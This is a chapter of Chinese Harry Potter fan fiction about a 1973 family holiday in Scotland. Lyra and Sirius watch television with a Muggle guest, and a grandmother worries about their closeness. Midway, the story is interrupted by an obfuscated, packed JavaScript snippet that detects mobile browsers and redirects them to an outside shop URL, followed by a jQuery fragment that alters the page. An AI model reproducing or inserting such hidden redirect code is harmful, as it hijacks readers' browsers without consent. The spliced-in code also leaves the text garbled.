1973年的夏天。
阿尔法德说服了沃尔布加，允许西里斯接受他发出的度假邀请。莱拉知道后异常兴奋，她表达激动的方式就是不停地缠着爸爸追问，他是怎么做到的。
阿尔法德笑着摸摸她的头发，模棱两可道：“也许这对沃尔布加来说，算不上一件坏事。”
希维早就订好了四个人的票，她知道阿尔法德总有办法说服沃尔布加。时光倒流三十年，还在霍格沃兹时，阿尔法德和西格纳斯总是跟在沃尔布加身边，姐弟三人形影不离，但谁都能看得出来，做姐姐的明显更偏爱最小的弟弟。他年幼，俊秀，文雅，聪慧，即使有时异常固执，她都不得不让步，但那也无伤大雅。沃尔布加总能找到合适的理由来宽容他。如今，她身边依旧跟着两个布莱克男孩。她偏爱雷古勒斯，如同当年偏爱阿尔法德。
莱拉对封存在时光里的过去一无所知，她忙着憧憬即将到来的美好假期。阿尔法德在苏格兰的阿伯丁郡有一座小庄园，人迹罕至，被魔法巧妙掩盖。当莱拉第一次踏足这片土地时，立刻被眼前的景象迷住了——庄园外是一片茂密的森林，有小鹿出没，啃食着山坡上的青草。附近有一条河流，蜿蜒曲折，水声潺潺。远处的山脉屹然耸立，山顶白雪终年不化。
这里的夏天并不火热，苏格兰此时雨水丰沛，又湿又冷。以至于每天晚上，全家都要聚集在大厅里的壁炉旁取暖。
巨大的壁炉里，几块粗壮的木柴正熊熊燃烧，噼啪作响。白色的石头地板上铺着深红色的地毯，墙上贴着淡黄色的墙纸，温暖的色彩仿佛凝聚了一些热量。大家刚吃过晚饭，杂乱无章地陷在宽敞的沙发里，看茶几上摆着的电视——安娜太奶奶的新男友威廉·菲尔特大力推荐的《神秘博士》。
是的，安娜太奶奶的新男友威廉是个麻瓜，还是个痴迷科幻的麻瓜。
“你们一定要看看这部剧，太酷了！你们能想象吗？重生！穿越时空！能改变性别和外貌！无障碍地和别的生物对话！想去哪就去哪！上帝啊，这太神奇了！”
当时，威廉朝大家激动地比划着意大利人惯用的小鸡手。安娜在他背后冲她的子孙们挤眉弄眼——她还没坦白她的巫师身份。
大家只能无奈地配合她，把魔杖收了起来，像麻瓜一样凡事都亲力亲为。杰克整天小心翼翼地避开他，莱拉和西里斯的扫帚放在楼梯间落灰，有一次还差点被威廉拿去扫地。
不得不说，这是一种前所未有的体验。威廉给大家带来了别样的生活视角。他指点希维修剪花木的诀窍，教莱拉和西里斯开车，送给玛格丽特一本关于编织的杂志，还带着阿尔法德和爱德蒙干了场轰轰烈烈的大扫除。
那天，回到自己的房间后，玛格丽特手上织着毛衣，感叹道：“年轻就是不一样啊，真有活力！”她最近迷上了摆弄毛线团，给每个人都织了一双不同配色和花纹的手套。可惜这些手套只能等到冬天才能配得上用场。
爱德蒙躺在床上，腰酸背痛，开始怀念‘清理一新’了。他已经很久没运动过了，一下子擦了几十扇窗户可真受不了。
莱拉抱着阿波罗窝在大厅靠东的沙发上，右边是希维，左边就是西里斯。电视机摆放在靠北的茶几上。为了让自己看电视的姿势更舒服点，她下意识地微微侧身，把背部靠在西里斯身上。西里斯扶着左腿膝盖，察觉到她的小动作，瞥了一眼她的后脑勺，默默地接受了，只是伸手把她披散的长发拨到她右边的肩膀去，防止挡住他看电视的视线。
大家都全神贯注地沉浸在剧情里，只有玛格丽特注意到了这一幕，轻轻皱了下眉头。
又一集结束了。
大家开始闲聊，说些很没意义的废话。谈论的内容并不重要，他们享受和最爱的人待在一起的宁静时光，哪怕无所事事都很快乐。
阿波罗睡够了，爬出了莱拉的怀抱，站在沙发上慢慢伸了个懒腰。他先撅起屁股拉伸前腿，再肩膀向前拉伸后腿。
每次看到他这套固定的伸懒腰动作，莱拉就忍不住笑。她起身伸手去抱阿波罗，他却不愿意再回到她的怀抱，灵活地躲开了，跳到西里斯的腿上，再挪动了一下屁股，快速跳走了。
西里斯被他踩得“呃”了一声。他一边揉着腿，一边和莱拉抱怨阿波罗长胖了。“他刚才踩在我腿上，像一个大南瓜上插了四根叉子！”莱拉笑得前仰后合。
玛格丽特突然笑着说：“莱拉和西里斯的感情真好啊。”
希维接话说：“从小一起长大的嘛。”
威廉竖了个大拇指，赞赏道：“像西里斯和莱拉这样和睦的兄妹俩可真不多见！年龄差大的兄妹往往没话说。年龄相近的就更别提了。我和我妹妹就是只差了两岁，以前总是打架！”
“为什么打架？”安娜好奇地问。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765383|187551||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“总要争个高下呗。”威廉怀念起过去，好笑道。“我记得有一次是因为我踩了她的脚。但她立刻重重地踩回来了。我不服，她也不服，就打起来了。”
莱拉转头和西里斯对视。“我们好像没打过架。你和雷古勒斯打过架吗？”
西里斯短促地笑了一声：“雷古勒斯像是会打架的人吗？”
等大家纷纷散去，互道晚安时，玛格丽特把莱拉拉到一边，抚摸了一下她的脸颊。“亲爱的，你今年多大了？”
莱拉疑惑地看着她：“13岁，再过几天就14岁了。”
玛格丽特看着面前这张漂亮的脸。14岁，似乎早已算不上孩子了，但用成年人的标准来衡量，却还很稚嫩。她略显粗糙的手停在少女光滑的脸庞边，鲜明地凸显出青春的质感。年轻人都是含苞待放的花，从身体里焕发的生机宛如花香，丝丝缕缕地溢出，在空气中飘散。
“现在，你应该注意和西里斯保持一点距离，毕竟你们都长大了，不能再像孩子一样无拘无束。知道吗？”玛格丽特低声说。
莱拉顿时涨红了脸。
玛格丽特连忙搂住她的肩膀，摸了摸她的背。“奶奶没有别的意思，只是提醒你一下。作为女孩子，要和异性保持距离。除了兄弟，对同学，老师也是。”
莱拉小声说：“我会的，奶奶。”
在进入布莱克家族之前，她在谢菲家温暖热情的氛围中长大，习惯于用肢体接触来表达亲密。谢菲们会亲吻、拥抱亲人，坦诚地表达自己的感受。但这与布莱克家族的作风大相径庭。他们习惯性地控制内心的情感，注重交往的边界，亲人之间最亲密的肢体接触止步于握手。因为西里斯和她一样是个异类，她下意识地忽略了他也是个布莱克。仔细想想，除了詹姆斯和她，西里斯从未允许别人触碰过自己。也许在她看来，再正常不过的友好举动，对西里斯来说是一种逾越界限的亲密。她确实应该收敛自己的行为了。
“那就好。”玛格丽特观察过她的神态，一切正常，悄悄松了一口气。之前在大厅时，她的目光在西里斯自然贴在莱拉腰间的手上停留了一瞬，那姿态里的亲密与熟稔，绝非寻常兄妹所有。当威廉感慨他们“兄妹感情真好”时，她心中的不安达到了顶点。
据她所知，布莱克家族似乎在某些地方特立独行，与常理相悖。西里斯的爸妈好像就是……堂亲。